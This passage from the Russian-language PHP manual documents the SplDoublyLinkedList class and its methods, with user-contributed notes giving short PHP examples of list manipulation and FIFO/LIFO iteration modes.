    • SplMaxHeap
    • SplMinHeap
  • SplPriorityQueue

Массивы

Массивы - структуры, которые хранят данные в непрерывном виде, доступные через индексы. Не путайте их с массивами PHP: последние на самом деле реализованы в виде упорядоченных хеш-таблиц.

  • SplFixedArray

Карта

Карта - это структура данных, содержащая пары ключ-значение. Массивы PHP можно рассматривать как карты, отображающие целые/строковые данные в их значения. SPL предоставляет карту, отображающую объекты к данным. Эта карта также может быть использована как множество объектов.

  • SplObjectStorage

User Contributed Notes

There are no user contributed notes for this page.


Класс SplDoublyLinkedList

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

Введение

Класс SplDoublyLinkedList обеспечивает основные функциональные возможности двусвязного списка.

Обзор классов

class SplDoublyLinkedList implements Iterator, Countable, ArrayAccess, Serializable {
/* Константы */
public const int IT_MODE_LIFO;
public const int IT_MODE_FIFO;
public const int IT_MODE_DELETE;
public const int IT_MODE_KEEP;
/* Методы */
public add(int $index, mixed $value): void
public bottom(): mixed
public count(): int
public current(): mixed
public getIteratorMode(): int
public isEmpty(): bool
public key(): int
public next(): void
public offsetExists(int $index): bool
public offsetGet(int $index): mixed
public offsetSet(?int $index, mixed $value): void
public offsetUnset(int $index): void
public pop(): mixed
public prev(): void
public push(mixed $value): void
public rewind(): void
public serialize(): string
public setIteratorMode(int $mode): int
public shift(): mixed
public top(): mixed
public unserialize(string $data): void
public unshift(mixed $value): void
public valid(): bool
}

Предопределённые константы

Направление итерации

SplDoublyLinkedList::IT_MODE_LIFO

Список будет повторяться по порядку "последним пришёл - первым вышел", как стек.

SplDoublyLinkedList::IT_MODE_FIFO

Список будет повторяться по порядку "первым пришёл - первым вышел", как очередь.

Поведение итерации

SplDoublyLinkedList::IT_MODE_DELETE

Итерация удалит повторяющиеся элементы.

SplDoublyLinkedList::IT_MODE_KEEP

Итерация не удалит повторяющиеся элементы.

Содержание

  • SplDoublyLinkedList::add — Добавляет/вставляет новое значение по указанному индексу
  • SplDoublyLinkedList::bottom — Получает узел, находящийся в начале двусвязного списка
  • SplDoublyLinkedList::count — Подсчитывает количество элементов в двусвязном списке
  • SplDoublyLinkedList::current — Возвращает текущий элемент массива
  • SplDoublyLinkedList::getIteratorMode — Возвращает режим итерации
  • SplDoublyLinkedList::isEmpty — Проверяет, является ли двусвязный список пустым
  • SplDoublyLinkedList::key — Возвращает индекс текущего узла
  • SplDoublyLinkedList::next — Перемещает итератор к следующему элементу
  • SplDoublyLinkedList::offsetExists — Проверяет, существует ли запрашиваемый индекс
  • SplDoublyLinkedList::offsetGet — Возвращает значение по указанному индексу
  • SplDoublyLinkedList::offsetSet — Устанавливает значение по заданному индексу $index в $value
  • SplDoublyLinkedList::offsetUnset — Удаляет значение по указанному индексу $index
  • SplDoublyLinkedList::pop — Удаляет (выталкивает) узел, находящийся в конце двусвязного списка
  • SplDoublyLinkedList::prev — Перемещает итератор к предыдущему элементу
  • SplDoublyLinkedList::push — Помещает элемент в конец двусвязного списка
  • SplDoublyLinkedList::rewind — Возвращает итератор в начало
  • SplDoublyLinkedList::serialize — Сериализует хранилище
  • SplDoublyLinkedList::setIteratorMode — Устанавливает режим итерации
  • SplDoublyLinkedList::shift — Удаляет узел, находящийся в начале двусвязного списка
  • SplDoublyLinkedList::top — Получает узел, находящийся в конце двусвязного списка
  • SplDoublyLinkedList::unserialize — Десериализует хранилище
  • SplDoublyLinkedList::unshift — Вставляет элемент в начало двусвязного списка
  • SplDoublyLinkedList::valid — Проверяет, содержит ли узлы двусвязный список

User Contributed Notes

Premysl Karbula 21-Dec-2022 01:22
A function which replaces some portion od doubly linked list (DLL) with items from specified array.

<?php

/**
 * Replace some portion (specified by index and length) of DLL with items
 * from the specified replacement array.
 */
public function dll_splice(
    \SplDoublyLinkedList $dll,
    int $start,
    int $length,
    array $replacement,
): void {

    if ($start < 0 || ($start + $length) > $dll->count()) {
        throw new \OutOfRangeException("Invalid range for splicing");
    }

    for ($i = 0; $i < $length; $i++) {
        $dll->offsetUnset($start);
    }

    foreach ($replacement as $item) {
        $dll->add($start, $item);
    }

}

?>
77931774 at qq dot com 19-Oct-2021 02:11
$list = new SplDoublyLinkedList();

for ($i = 0; $i < 2000001; $i++) {
    $list->push($i);
}

$s = microtime(true);

//$res = $list->offsetGet(2000000);     // spend 7 ms
$res = $list->offsetGet(0);               // spend 0.07 ms
var_dump($res);

$e = microtime(true);

echo ($e - $s) * 1000;
lincoln dot du dot j at gmail dot com 12-Jul-2017 06:28
$a = new SplDoublyLinkedList;
$arr=[1,2,3,4,5,6,7,8,9];
for($i=0;$i<count($arr);$i++){
    $a->add($i,$arr[$i]);
}

$a->push(11); //push method
$a->add(10,12); //add method must with index
$a->shift(); //remove array first value
$a->unshift(1); //add first value

$a->rewind(); //initial from first

echo "SplDoublyLinkedList array last/top value " .  $a->top() ." \n";
echo "SplDoublyLinkedList array count value " .  $a->count() ." \n";
echo "SplDoublyLinkedList array first/top value " . $a->bottom() . " \n\n";

while($a->valid()){ //check with valid method
    echo 'key ', $a->key(), ' value ', $a->current(),"\n"; //key and current method use here
    $a->next(); //next method use here
}

$a->pop(); //remove array last value
print_r($a);
$s=$a->serialize();
echo $s;

//Output
SplDoublyLinkedList array last/top value 12
SplDoublyLinkedList array count value 11
SplDoublyLinkedList array first/top value 1

key 0 value 1
key 1 value 2
key 2 value 3
key 3 value 4
key 4 value 5
key 5 value 6
key 6 value 7
key 7 value 8
key 8 value 9
key 9 value 11
key 10 value 12
SplDoublyLinkedList Object
(
    [flags:SplDoublyLinkedList:private] => 0
    [dllist:SplDoublyLinkedList:private] => Array
        (
            [0] => 1
            [1] => 2
            [2] => 3
            [3] => 4
            [4] => 5
            [5] => 6
            [6] => 7
            [7] => 8
            [8] => 9
            [9] => 11
        )

)
i:0;:i:1;:i:2;:i:3;:i:4;:i:5;:i:6;:i:7;:i:8;:i:9;:i:11;
dongchao769390531 at 163 dot com 06-Jun-2017 10:03
<?php
$splDoubleLinkedList = new SplDoublyLinkedList();
$splDoubleLinkedList->push('a');
$splDoubleLinkedList->push('3');
$splDoubleLinkedList->push('v');
$splDoubleLinkedList->push('1');
$splDoubleLinkedList->push('p');
//First of all, we need rewind list
$splDoubleLinkedList->rewind();
//Use while, check if the list has valid node
while ($splDoubleLinkedList->valid()){
    //Print current node's value
    echo $splDoubleLinkedList->current()."\n";
    //Turn the cursor to next node
    $splDoubleLinkedList->next();
}
?>
Maaz Rehman 17-May-2015 06:54
/*
php doubly link list is an amazing data structure ,doubly means you can traverse forward as well as backward, it can act as a deque(double ended queue) if you want it to,
here is how it works

*/

//instantiating an object of doubly link list

$dlist=new SplDoublyLinkedList();

//a push inserts data at the end of the list
$dlist->push('hiramariam');
$dlist->push('maaz');
$dlist->push('zafar');

/* the list contains
hiramariam
maaz
zafar
*/

//while an unshift inserts an object at top of the list
$dlist->unshift(1);
$dlist->unshift(2);
$dlist->unshift(3);

/* the list now contains
3
2
1
hiramariam
maaz
zafar
*/

//you can delete an item from the bottom of the list by using pop
$dlist->pop();

/* the list now contains
3
2
1
hiramariam
maaz

*/
//you can delete an item from the top of the list by using shift()
$dlist->shift();

/* the list now contains

2
1
hiramariam
maaz

*/

/* if you want to replace an item at particular index you can use a method named add , note that if you want to replace an item that does not exist , an exception will be thrown*/

$dlist->add(3 , 2.24);

/*
to go through the list we use a simple for loop, the rewind() method shown below point to the initials of the list depending on the iterator, a valid() method checks whether a list is still valid or not , meaning it ensures the loop does not go on and on after we reach the last data in the list , and the next() method simply points to the next data in the list.

*/
for($dlist->rewind();$dlist->valid();$dlist->next()){

    echo $dlist->current()."<br/>";
    }
echo "<br/>";
/*

To traverse backward

*/
$dlist->setIteratorMode(SplDoublyLinkedList::IT_MODE_LIFO);
for($dlist->rewind();$dlist->valid();$dlist->next()){

    echo $dlist->current()."<br/>";;
    }
Gilles A 09-Aug-2013 12:19
FIFO and LIFO in SplDoublyLinkedList

$list = new SplDoublyLinkedList();
$list->push('a');
$list->push('b');
$list->push('c');
$list->push('d');

echo "FIFO (First In First Out) :\n";
$list->setIteratorMode(SplDoublyLinkedList::IT_MODE_FIFO);
for ($list->rewind(); $list->valid(); $list->next()) {
    echo $list->current()."\n";
}

Result :

// FIFO (First In First Out):
// a
// b
// c
// d

echo "LIFO (Last In First Out) :\n";
$list->setIteratorMode(SplDoublyLinkedList::IT_MODE_LIFO);
for ($list->rewind(); $list->valid(); $list->next()) {
    echo $list->current()."\n";
}

Result :

// LIFO (Last In First Out):
// d
// c
// b
// a


Добавляет/вставляет новое значение по указанному индексу

  • « SplDoublyLinkedList
  • SplDoublyLinkedList::bottom »
  • PHP Manual
  • SplDoublyLinkedList
  • Добавляет/вставляет новое значение по указанному индексу

SplDoublyLinkedList::add

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

SplDoublyLinkedList::add — Добавляет/вставляет новое значение по указанному индексу

Описание

public SplDoublyLinkedList::add(int $index, mixed $value): void

Вставляет значение value по указанному индексу index. Предыдущее значение (и все последующие), смещаются вверх по списку.

Список параметров

index

Индекс, по которому надо вставить значение.

value

Значение, которое надо вставить по индексу index.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Ошибки

Выбрасывает исключение OutOfRangeException, если index за пределами списка, либо если index не может быть представлен в виде целого числа.

User Contributed Notes

lincoln dot du dot j at gmail dot com 11-Jul-2017 05:07
$a = new SplDoublyLinkedList;
$arr=[1,2,3,4,5,6,7,8,9];

for($i=0;$i<count($arr);$i++){
    $a->add($i,$arr[$i]);
}

print_r($a);

//Output:

SplDoublyLinkedList Object
(
    [flags:SplDoublyLinkedList:private] => 0
    [dllist:SplDoublyLinkedList:private] => Array
        (
            [0] => 1
            [1] => 2
            [2] => 3
            [3] => 4
            [4] => 5
            [5] => 6
            [6] => 7
            [7] => 8
            [8] => 9
        )

)
gandung at ppp dot cylab dot cmu dot edu 12-Mar-2017 03:38
Maybe the basic usage is like this i think..

$a = new \SplDoublyLinkedList;

if ($a instanceof \SplDoublyLinkedList) {
    $a->add(0, 'Paulus');
    $a->add(1, 'Gandung');
    $a->add(2, 'Prakosa');

    // then, iterate over that because \SplDoublyLinkedList
    // is implementing \Iterator interface.
    foreach ($a as $value) {
        echo sprintf("%s\n", $value);
    }
}


Получает узел, находящийся в начале двусвязного списка

  • « SplDoublyLinkedList::add
  • SplDoublyLinkedList::count »
  • PHP Manual
  • SplDoublyLinkedList
  • Получает узел, находящийся в начале двусвязного списка

SplDoublyLinkedList::bottom

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

SplDoublyLinkedList::bottom — Получает узел, находящийся в начале двусвязного списка

Описание

public SplDoublyLinkedList::bottom(): mixed

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Значение первого узла.

Ошибки

Выбрасывает исключение RuntimeException, когда структура данных пуста.

User Contributed Notes

lincoln dot du dot j at gmail dot com 11-Jul-2017 05:30
$a = new SplDoublyLinkedList;
$arr=[1,2,3,4,5,6,7,8,9];

for($i=0;$i<count($arr);$i++){
    $a->add($i,$arr[$i]);
}

echo "SplDoublyLinkedList array last/top value " .  $a->top() ." \n";
echo "SplDoublyLinkedList array first/top value " . $a->bottom() . " \n\n";

print_r($a);

//Another Example
$spl = new SplDoublyLinkedList;

$spl->push(11);
$spl->push(2);
$spl->push(3);
$spl->push(8);
$spl->push(5);

//array last value
echo $spl->top();
echo PHP_EOL;
//Array first value
echo $spl->bottom();
echo PHP_EOL;

print_r($spl);
tstirrat at gmail dot com 27-Apr-2014 10:27
A note on top() and bottom():

Picture the doubly-linked list (or queue) in the same way that you would a stack.

Say you started with an empty queue, and added five values:

$myList = new SplDoublyLinkedList

$mylist->push(1)
$mylist->push(2)
$mylist->push(3)
$mylist->push(4)
$mylist->push(5)

$mylist->top()
-> 5

$mylist->bottom()
-> 1
rakesh dot mishra at gmail dot com 26-Jan-2011 10:39
<?php

/*
 * Examples of DoublyLinkedList
 */

$obj = new SplDoublyLinkedList();

// Check wither linked list is empty
if ($obj->isEmpty())
{
    echo "Adding nodes to Linked List<br>";
    $obj->push(2);
    $obj->push(3);

    echo "Adding the node at beginning of doubly linked list <br>";
    $obj->unshift(10);
}

echo "<br>Our Linked List:";
print_r($obj);

echo "<br>Pick the node from beginning of doubly linked list";
echo $obj->bottom();

?>


Подсчитывает количество элементов в двусвязном списке

  • « SplDoublyLinkedList::bottom
  • SplDoublyLinkedList::current »
  • PHP Manual
  • SplDoublyLinkedList
  • Подсчитывает количество элементов в двусвязном списке

SplDoublyLinkedList::count

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

SplDoublyLinkedList::count — Подсчитывает количество элементов в двусвязном списке

Описание

public SplDoublyLinkedList::count(): int

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает количество элементов в двусвязном списке.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает текущий элемент массива

  • « SplDoublyLinkedList::count
  • SplDoublyLinkedList::getIteratorMode »
  • PHP Manual
  • SplDoublyLinkedList
  • Возвращает текущий элемент массива

SplDoublyLinkedList::current

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

SplDoublyLinkedList::current — Возвращает текущий элемент массива

Описание

public SplDoublyLinkedList::current(): mixed

Получает текущий узел двусвязного списка.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Значение текущего узла.

User Contributed Notes

rakesh dot mishra at gmail dot com 26-Jan-2011 11:18
<?php

/*
 * Examples of DoublyLinkedList
 */

$obj = new SplDoublyLinkedList();
// Check wither linked list is empty
if ($obj->isEmpty())
{
    echo "Adding nodes to Linked List<br>";
    $obj->push(2);
    $obj->push(3);
    echo "Adding the node at beginning of doubly linked list <br>";
    $obj->unshift(10);
}

echo "<br>Our Linked List:";
print_r($obj);

$curr = $obj->current(); // this will return NULL as we have not set initial node.

echo "<br> Rewinding the position so that current node points to first node ";
$obj->rewind();

echo "<br>Current node of the linked list:";
echo  $obj->current(); // this will print first node of the linked list.

echo "<br>Moving to Next node:";
$obj->next();

echo "<br>Printing the next node:";
echo $obj->current();

?>


Возвращает режим итерации

  • « SplDoublyLinkedList::current
  • SplDoublyLinkedList::isEmpty »
  • PHP Manual
  • SplDoublyLinkedList
  • Возвращает режим итерации

SplDoublyLinkedList::getIteratorMode

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

SplDoublyLinkedList::getIteratorMode — Возвращает режим итерации

Описание

public SplDoublyLinkedList::getIteratorMode(): int

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает различные режимы и флаги, влияющие на итерацию.

User Contributed Notes

gregorypatmore at gmail dot com 11-Dec-2011 10:32
I think it should be noted that the IT_MODE_* constants are defined inside the class as:

IT_MODE_LIFO => int(2)
IT_MODE_FIFO => int(0)
IT_MODE_DELETE => int(1)
IT_MODE_KEEP => int(0)

With the FIFO and KEEP flags both defined as zero, you can run into an ambiguity when trying to discern what modes have been activated when trying to use bitwise deduction as one might be lead to believe considering the bitwise way you set the iterator mode (at least in v5.3.5, haven't tested any others).

Consider this example:

<?php

$l = new SPLDoublyLinkedList();
$l->setIteratorMode(SplDoublyLinkedList::IT_MODE_FIFO | SplDoublyLinkedList::IT_MODE_DELETE);

$mode = $l->getIteratorMode(); #int(1)

var_dump(($mode & SplDoublyLinkedList::IT_MODE_FIFO) == SplDoublyLinkedList::IT_MODE_FIFO); #outputs true
var_dump(($mode & SplDoublyLinkedList::IT_MODE_LIFO) == SplDoublyLinkedList::IT_MODE_LIFO); #outputs false
var_dump(($mode & SplDoublyLinkedList::IT_MODE_DELETE) == SplDoublyLinkedList::IT_MODE_DELETE); #outputs true
var_dump(($mode & SplDoublyLinkedList::IT_MODE_KEEP) == SplDoublyLinkedList::IT_MODE_KEEP); #outputs true (huh?!)

?>

Regardless of whatever the getIteratorMode tells you, the object DOES correctly honor the configuration that was set as far as I can tell.

The way you SHOULD do it (at least until they add any more options):

Basically, you should just check the non-zero flags (LIFO(2) and DELETE(1)).  Since it's an either/or situation within the pairs, this should be able to help you figure out the separate mode pieces an instance has been set to.

example:

<?php
$l = new SPLDoublyLinkedList();
$l->setIteratorMode(SplDoublyLinkedList::IT_MODE_FIFO | SplDoublyLinkedList::IT_MODE_DELETE);

$mode = $l->getIteratorMode();

$isLIFO = ($mode & SplDoublyLinkedList::IT_MODE_LIFO) == SplDoublyLinkedList::IT_MODE_LIFO;

$isDELETE = ($mode & SplDoublyLinkedList::IT_MODE_DELETE) == SplDoublyLinkedList::IT_MODE_DELETE;
?>

Hope this can help someone.


Проверяет, является ли двусвязный список пустым

  • « SplDoublyLinkedList::getIteratorMode
  • SplDoublyLinkedList::key »
  • PHP Manual
  • SplDoublyLinkedList
  • Проверяет, является ли двусвязный список пустым

SplDoublyLinkedList::isEmpty

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

SplDoublyLinkedList::isEmpty — Проверяет, является ли двусвязный список пустым

Описание

public SplDoublyLinkedList::isEmpty(): bool

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает результат проверки двусвязного списка на пустоту.

User Contributed Notes

lincoln dot du dot j at gmail dot com 10-Jul-2017 07:53
//isEmpty is a method of SplDoublyLinkedList

$obj = new SplDoublyLinkedList();
// Check wither linked list is empty
if ($obj->isEmpty())
{
    $obj->push(2);
    $obj->unshift(10);
}
print_r($obj);

//Output like this
SplDoublyLinkedList Object
(
    [flags:SplDoublyLinkedList:private] => 0
    [dllist:SplDoublyLinkedList:private] => Array
        (
            [0] => 10
            [1] => 2
        )

)


Возвращает индекс текущего узла

  • « SplDoublyLinkedList::isEmpty
  • SplDoublyLinkedList::next »
  • PHP Manual
  • SplDoublyLinkedList
  • Возвращает индекс текущего узла

SplDoublyLinkedList::key

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

SplDoublyLinkedList::key — Возвращает индекс текущего узла

Описание

public SplDoublyLinkedList::key(): int

Возвращает индекс текущего узла.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Индекс текущего узла.

User Contributed Notes

There are no user contributed notes for this page.


Перемещает итератор к следующему элементу

  • « SplDoublyLinkedList::key
  • SplDoublyLinkedList::offsetExists »
  • PHP Manual
  • SplDoublyLinkedList
  • Перемещает итератор к следующему элементу

SplDoublyLinkedList::next

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

SplDoublyLinkedList::next — Перемещает итератор к следующему элементу

Описание

public SplDoublyLinkedList::next(): void

Перемещает итератор к следующему узлу.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Функция не возвращает значения после выполнения.

User Contributed Notes

Anonymous 17-Feb-2014 10:44
$dll = new SplDoublyLinkedList();

$dll->push(2);
$dll->push(3);
$dll->unshift(5);
$dll->rewind();

while($dll->valid()){
    echo $dll->current().'<br />';
    $dll->next();//switch to next list item
}


Проверяет, существует ли запрашиваемый индекс

  • « SplDoublyLinkedList::next
  • SplDoublyLinkedList::offsetGet »
  • PHP Manual
  • SplDoublyLinkedList
  • Проверяет, существует ли запрашиваемый индекс

SplDoublyLinkedList::offsetExists

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

SplDoublyLinkedList::offsetExists — Проверяет, существует ли запрашиваемый индекс

Описание

public SplDoublyLinkedList::offsetExists(int $index): bool

Список параметров

index

Проверяемый индекс.

Возвращаемые значения

true, если запрашиваемый индекс index существует, в противном случае false

User Contributed Notes

There are no user contributed notes for this page.


Возвращает значение по указанному индексу

  • « SplDoublyLinkedList::offsetExists
  • SplDoublyLinkedList::offsetSet »
  • PHP Manual
  • SplDoublyLinkedList
  • Возвращает значение по указанному индексу

SplDoublyLinkedList::offsetGet

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

SplDoublyLinkedList::offsetGet — Возвращает значение по указанному индексу

Описание

public SplDoublyLinkedList::offsetGet(int $index): mixed

Список параметров

index

Индекс.

Возвращаемые значения

Значение указанного индекса index.

Ошибки

Выбрасывает исключение OutOfRangeException, когда index выходит за границы, или когда index не может быть представлен в виде целого числа.

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает значение по заданному индексу $index в $value

  • « SplDoublyLinkedList::offsetGet
  • SplDoublyLinkedList::offsetUnset »
  • PHP Manual
  • SplDoublyLinkedList
  • Устанавливает значение по заданному индексу $index в $value

SplDoublyLinkedList::offsetSet

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

SplDoublyLinkedList::offsetSet — Устанавливает значение по заданному индексу $index в $value

Описание

public SplDoublyLinkedList::offsetSet(?int $index, mixed $value): void

Устанавливает значение по заданному индексу index в value.

Список параметров

index

Индекс. Если null, следующее значение будет добавлено после последнего элемента.

value

Новое значение для индекса index.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Ошибки

Выбрасывает исключение OutOfRangeException, когда index выходит за границы, или когда index не может быть представлен в виде целого числа.

User Contributed Notes

chanel at lipski-development dot de 25-Feb-2018 03:21
How to change elements of a SplDoublyLinkedList
<?php

function change_elements($list,$old_index,$new_index){

$tmp1=$list->offsetGet($old_index);
$tmp2=$list->offsetGet($new_index);
$list->offsetSet($old_index,$tmp2);
$list->offsetSet($new_index,$tmp1);

}

$list=new SplDoublyLinkedList();
$list->push("A");
$list->push("B");
$list->push("C");

/*
OUTPUT
A
B
C
*/

change_elements($list,0,1);

/*
OUTPUT
B
A
C
*/

?>


Удаляет значение по указанному индексу $index

  • « SplDoublyLinkedList::offsetSet
  • SplDoublyLinkedList::pop »
  • PHP Manual
  • SplDoublyLinkedList
  • Удаляет значение по указанному индексу $index

SplDoublyLinkedList::offsetUnset

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

SplDoublyLinkedList::offsetUnset — Удаляет значение по указанному индексу $index

Описание

public SplDoublyLinkedList::offsetUnset(int $index): void

Удаляет значение по указанному индексу.

Список параметров

index

Индекс, для которого удаляется значение.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Ошибки

Выбрасывает исключение OutOfRangeException, когда index выходит за границы, или когда index не может быть представлен в виде целого числа.

User Contributed Notes

marco dot paulo dot lopes at gmail dot com 31-May-2011 05:40
When unsetting an offset, the element will be removed from the double linked list. So the following code:

<?php

$obj = new SplDoublyLinkedList();

$obj->push(4);
$obj->push(5);
$obj->push(6);

$obj->offsetUnset(1);
echo "Our Linked List:";
print_r($obj);

?>

Will output:

Our Linked List:SplDoublyLinkedList Object
(
    [flags:SplDoublyLinkedList:private] => 0
    [dllist:SplDoublyLinkedList:private] => Array
        (
            [0] => 4
            [1] => 5
            [2] => 6
        )

)
Our New Linked List:SplDoublyLinkedList Object
(
    [flags:SplDoublyLinkedList:private] => 0
    [dllist:SplDoublyLinkedList:private] => Array
        (
            [0] => 4
            [1] => 6
        )

Notice that the element with the index 2 has now the index 1. The original element with index 1 did not only had it's value unset but was also removed from the list.


Удаляет (выталкивает) узел, находящийся в конце двусвязного списка

  • « SplDoublyLinkedList::offsetUnset
  • SplDoublyLinkedList::prev »
  • PHP Manual
  • SplDoublyLinkedList
  • Удаляет (выталкивает) узел, находящийся в конце двусвязного списка

SplDoublyLinkedList::pop

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

SplDoublyLinkedList::pop — Удаляет (выталкивает) узел, находящийся в конце двусвязного списка

Описание

public SplDoublyLinkedList::pop(): mixed

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Значение удалённого узла.

Ошибки

Выбрасывает исключение RuntimeException, когда структура данных пуста.

User Contributed Notes

There are no user contributed notes for this page.


Перемещает итератор к предыдущему элементу

  • « SplDoublyLinkedList::pop
  • SplDoublyLinkedList::push »
  • PHP Manual
  • SplDoublyLinkedList
  • Перемещает итератор к предыдущему элементу

SplDoublyLinkedList::prev

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

SplDoublyLinkedList::prev — Перемещает итератор к предыдущему элементу

Описание

public SplDoublyLinkedList::prev(): void

Перемещает итератор к предыдущему узлу.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Функция не возвращает значения после выполнения.

User Contributed Notes

There are no user contributed notes for this page.


Помещает элемент в конец двусвязного списка

  • « SplDoublyLinkedList::prev
  • SplDoublyLinkedList::rewind »
  • PHP Manual
  • SplDoublyLinkedList
  • Помещает элемент в конец двусвязного списка

SplDoublyLinkedList::push

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

SplDoublyLinkedList::push — Помещает элемент в конец двусвязного списка

Описание

public SplDoublyLinkedList::push(mixed $value): void

Помещает value в конец двусвязного списка.

Список параметров

value

Значения для добавления.

Возвращаемые значения

Функция не возвращает значения после выполнения.

User Contributed Notes

chicotec dot asm at gmail dot com 14-Feb-2019 09:00
You can also push an element at the end of the doubly linked list like in a simple array with square brackets:

$spl = new SplDoublyLinkedList;

$spl[] = 1;
$spl[] = 2;
$spl[] = 3;
$spl[] = 4;

print_r($spl);
lincoln dot du dot j at gmail dot com 11-Jul-2017 05:35
$spl = new SplDoublyLinkedList;

$spl->push(1);
$spl->push(2);
$spl->push(3);
$spl->push(8);
$spl->push(5);

print_r($spl);
Gilles A 30-Sep-2014 02:18
Be careful SplStack mode is LIFO (Last In First Out) not FIFO (First in First Out)
<?php
// Array (FIFO)
$stack = array();
array_push($stack,"orange");
array_push($stack,"banana");
array_push($stack,"apple");
array_push($stack,"raspberry");

var_dump($stack);
?>
// result

array (size=4)
  0 => string 'orange' (length=6)
  1 => string 'banana' (length=6)
  2 => string 'apple' (length=5)
  3 => string 'raspberry' (length=9)

<?php
// SplStack (LIFO)
$stack = new SplStack();
$stack ->push('orange');
$stack ->push('banana');
$stack ->push('apple');
$stack->push('raspberry');

$stack->rewind();
while($stack->valid()){
    var_dump($stack->current());
    $stack->next();

}
?>
//result
string 'raspberry' (length=9)
string 'apple' (length=5)
string 'banana' (length=6)
string 'orange' (length=6)


Возвращает итератор в начало

  • « SplDoublyLinkedList::push
  • SplDoublyLinkedList::serialize »
  • PHP Manual
  • SplDoublyLinkedList
  • Возвращает итератор в начало

SplDoublyLinkedList::rewind

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

SplDoublyLinkedList::rewind — Возвращает итератор в начало

Описание

public SplDoublyLinkedList::rewind(): void

Возвращает итератор в начало.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Функция не возвращает значения после выполнения.

User Contributed Notes

lincoln dot du dot j at gmail dot com 10-Jul-2017 08:42
$dll = new SplDoublyLinkedList();
$dll->push(2);
$dll->push(3);
$dll->unshift(5);
$dll->rewind(); // starting from beginning without this it will not work

while($dll->valid()){
    echo $dll->current()."\n";
    $dll->next();
}

//Output
5
2
3


Сериализует хранилище

  • « SplDoublyLinkedList::rewind
  • SplDoublyLinkedList::setIteratorMode »
  • PHP Manual
  • SplDoublyLinkedList
  • Сериализует хранилище

SplDoublyLinkedList::serialize

(PHP 5 >= 5.4.0, PHP 7, PHP 8)

SplDoublyLinkedList::serialize — Сериализует хранилище

Описание

public SplDoublyLinkedList::serialize(): string

Сериализует хранилище.

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Сериализованная строка.

Смотрите также

  • SplDoublyLinkedList::unserialize() - Десериализует хранилище

User Contributed Notes

lincoln dot du dot j at gmail dot com 11-Jul-2017 05:52
$a = new SplDoublyLinkedList;
$arr=[1,2,3,4,5,6,7,8,9];

for($i=0;$i<count($arr);$i++){
    $a->add($i,$arr[$i]);
}

$serialize=serialize($a);

echo $serialize;

echo PHP_EOL,PHP_EOL;

$unserialze=unserialize($serialize);

print_r($unserialze);


Устанавливает режим итерации

  • « SplDoublyLinkedList::serialize
  • SplDoublyLinkedList::shift »
  • PHP Manual
  • SplDoublyLinkedList
  • Устанавливает режим итерации

SplDoublyLinkedList::setIteratorMode

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

SplDoublyLinkedList::setIteratorMode — Устанавливает режим итерации

Описание

public SplDoublyLinkedList::setIteratorMode(int $mode): int

Список параметров

mode

Существуют два ортогональных набора режимов, которые могут быть установлены:

  • Направление итерации (одно из двух):
    • SplDoublyLinkedList::IT_MODE_LIFO (Стек)
    • SplDoublyLinkedList::IT_MODE_FIFO (Очередь)
  • Поведение итератора (одно из двух):
    • SplDoublyLinkedList::IT_MODE_DELETE (Элементы удаляются итератором)
    • SplDoublyLinkedList::IT_MODE_KEEP (Итератор обходит элементы, не удаляя их)

По умолчанию используется режим: SplDoublyLinkedList::IT_MODE_FIFO | SplDoublyLinkedList::IT_MODE_KEEP

Внимание

Направление итерации нельзя изменить для классов SplStack и SplQueue, оно всегда SplDoublyLinkedList::IT_MODE_FIFO. Попытка изменить его приведёт к выбрасыванию исключения RuntimeException.

Возвращаемые значения

Возвращает различные режимы и флаги, влияющие на итерацию.

User Contributed Notes

gregorypatmore at gmail dot com 11-Dec-2011 11:15
Despite the seeming unrelated-ness between the FIFO/LIFO and the KEEP/DELETE option pairs, in respect to the behavior of setIteratorMode they are in some way linked.  Meaning, a second call to setIteratorMode will erase any previous settings even if they are from the other pair.  This, coupled with the default settings for the object (SplDoublyLinkedList::IT_MODE_FIFO | SplDoublyLinkedList::IT_MODE_KEEP), means you have to be careful or you can run into trouble

Consider the following example:

<?php
$l = new SPLDoublyLinkedList();
$l->setIteratorMode(SplDoublyLinkedList::IT_MODE_DELETE);
$l->setIteratorMode(SplDoublyLinkedList::IT_MODE_LIFO);

$mode = $l->getIteratorMode();
var_dump("MODE: $mode");
var_dump("MODE CHECKS");
var_dump(($mode & SplDoublyLinkedList::IT_MODE_LIFO) == SplDoublyLinkedList::IT_MODE_LIFO);
var_dump(($mode & SplDoublyLinkedList::IT_MODE_FIFO) == SplDoublyLinkedList::IT_MODE_FIFO);
var_dump(($mode & SplDoublyLinkedList::IT_MODE_DELETE) == SplDoublyLinkedList::IT_MODE_DELETE);
